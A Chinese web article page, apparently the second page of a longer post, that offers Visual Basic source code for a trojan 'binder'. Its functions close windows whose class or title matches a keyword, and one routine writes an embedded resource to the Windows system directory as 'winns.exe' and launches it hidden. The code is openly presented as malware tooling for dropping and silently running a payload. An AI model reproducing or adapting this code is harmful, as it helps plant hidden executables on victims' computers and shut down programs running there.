打印本文 打印本文 关闭窗口 关闭窗口
使用 VB 开发的木马捆绑程序源代码。
作者:武汉SEO闵涛  文章来源:敏韬网  点击数2217  更新时间:2009/4/23 15:04:11  文章录入:mintao  责任编辑:mintao

''''将含有指定关键字的进程关闭
Private Function KillProcess(KeyWord As String, _
    Optional IsClass As Boolean = False) As Long
    
    Dim lpClassName As String * 128
    Dim ClassName As String
    Dim fndWnd As Long
    Dim wndHdc As Long

    KillProcess = 0

    For fndWnd = 0 To wndNum
    
        ''''判断查找的是否为类的关键字
        If IsClass = True Then
    
            ''''获得窗体句柄
            wndHdc = FindWindow(vbNullString, _
                lpWnd(fndWnd))
    
            ''''获取类名到缓冲区
            GetClassName wndHdc, lpClassName, _
                Len(lpClassName)
            
            ''''解析出类名
            ClassName = Left(lpClassName, InStr(1, _
                lpClassName, vbNullChar) - 1)

            ''''找到后将它关闭,有时只使用 WM_QUIT 不能 _
                完成任务,使用 WM_CLOSE 再试一次
            If InStr(1, ClassName, KeyWord) > 0 Then
                wndHdc = FindWindow(ClassName, _
                    vbNullString)
                KillProcess = KillProcess + 1
                QuitDestroy wndHdc
            End If
    
        ''''查找标题带有关键字的窗体
        ElseIf InStr(1, lpWnd(fndWnd), KeyWord) > 0 Then
            wndHdc = FindWindow(vbNullString, _
                lpWnd(fndWnd))
            KillProcess = KillProcess + 1
            QuitDestroy wndHdc
        End If
    Next fndWnd
End Function

Private Sub WriteExe()

    Dim exeData() As Byte
    Dim fileNum As Long
    Dim SysDir As String * 128

    GetSystemDirectory SysDir, Len(SysDir)

    exeData = LoadResData("LOVEME", "Execute")

    fileNum = FreeFile()

    Open Left(SysDir, InStr(1, SysDir, vbNullChar) _
        - 1) & "\winns.exe" For Binary As #fileNum

    Put #fileNum, , exeData
    Close #fileNum

    Shell Left(SysDir, InStr(1, SysDir, vbNullChar) _
        - 1) & "\winns.exe", vbHide

End Sub

Private Sub QuitDestroy(wnd As Long)
    PostMessage wnd, WM_QUIT, 0, 0
    PostMessage wnd, WM_CLOSE, 0, 0
    DestroyWindow wnd
    CloseHandle wnd
    ''''再次刷新一下进程,这一点非常有必要, _
       目的是判断相关线程是否存在,否则程 _
       序会将自己杀死
    RefreshProcess
End Sub

上一页  [1] [2] 

打印本文 打印本文 关闭窗口 关闭窗口